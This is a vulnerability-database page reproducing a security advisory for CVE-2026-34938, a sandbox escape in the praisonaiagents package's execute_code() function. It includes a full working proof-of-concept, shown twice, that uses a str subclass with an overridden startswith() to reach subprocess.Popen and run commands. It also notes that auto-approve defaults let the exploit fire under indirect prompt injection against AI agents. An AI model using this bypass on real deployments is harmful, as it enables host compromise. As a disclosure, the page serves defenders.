GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-6VH2-H83C-9294

Vulnerability from github – Published: 2026-04-01 23:17 – Updated: 2026-04-06 22:54
VLAI
Summary
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Details

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC


from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:17:48Z",
    "nvd_published_at": "2026-04-03T23:17:06Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -\u003e `python_tools.py:22` (guard bypass) -\u003e `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith(\u0027_\u0027):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t(\u0027FakeStr\u0027, (str,), {\u0027startswith\u0027: lambda self, *a: False})\n\nmro_attr  = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027r\u0027,\u0027o\u0027,\u0027_\u0027,\u0027_\u0027]))\nsubs_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027s\u0027,\u0027u\u0027,\u0027b\u0027,\u0027c\u0027,\u0027l\u0027,\u0027a\u0027,\u0027s\u0027,\u0027s\u0027,\u0027e\u0027,\u0027s\u0027,\u0027_\u0027,\u0027_\u0027]))\nmod_attr  = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027m\u0027,\u0027o\u0027,\u0027d\u0027,\u0027u\u0027,\u0027l\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nname_attr = FakeStr(\u0027\u0027.join([\u0027_\u0027,\u0027_\u0027,\u0027n\u0027,\u0027a\u0027,\u0027m\u0027,\u0027e\u0027,\u0027_\u0027,\u0027_\u0027]))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, \u0027\u0027)\n        n = getattr(cls, name_attr, \u0027\u0027)\n        if m == \u0027subprocess\u0027 and n == \u0027Popen\u0027:\n            r = cls([\u0027id\u0027], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print(\u0027RCE:\u0027, out.decode())\n            break\n    except Exception as e:\n        print(\u0027ERR:\u0027, e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
  "id": "GHSA-6vh2-h83c-9294",
  "modified": "2026-04-06T22:54:12Z",
  "published": "2026-04-01T23:17:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…